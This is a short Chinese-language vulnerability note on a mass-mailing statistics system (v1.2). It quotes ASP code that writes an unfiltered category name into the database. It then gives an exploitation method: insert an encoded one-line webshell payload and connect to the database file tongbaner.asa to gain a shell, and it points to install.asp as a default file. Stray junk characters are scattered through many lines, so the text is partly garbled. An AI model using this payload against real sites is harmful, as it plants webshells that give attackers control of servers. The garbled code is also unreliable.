铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
6 O- r1 ]" p' |! ~0 E
5 a, d$ a4 Y9 |% |IF Request.QueryString("Action")="del" Then
0 p& n- q) D# Q! _  pID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
: Z5 ^2 z) h& ^3 U+ w- r+ ]- F'略
" m- c9 j6 W: s4 tIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
1 B4 B& c" w1 ^! @- J4 |Set Rs=Server.CreateObject("adodb.Recordset")
3 g3 Z$ f& ], ESql="Select * From Fenlei Order by id Desc "
- f* O9 d. F! |. CRs.Open Sql,Conn,1,3
6 |: F4 _" D4 w# @3 NRs.Addnew
( m/ ~+ z! w+ {* NRs("Typename")=Tname
3 H) K7 O7 Q7 c+ T'略
Set Rs=Server.CreateObject("adodb.Recordset")
2 S7 o! K( V/ B2 ^+ @Sql="Select * From Fenlei Order by id Desc "
% _9 ]4 H4 s2 s$ rRs.Open Sql,Conn,1,1
% Z* i7 R2 I7 O& m. A" q+ N'略
%>

- {9 }% k+ k: F
& @: h* i7 F- Y: J
: {' B' i3 ^7 G# J没有过滤，直接写入数据库。

. x8 Y6 f2 Y/ U% }( C利用方法：

: x# x; h( L/ O2 m插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
5 o/ t0 l% b. H0 O: _  I0 U1 K'默认安装文件：
5 B$ e& n. }1 W+ D- A'install.asp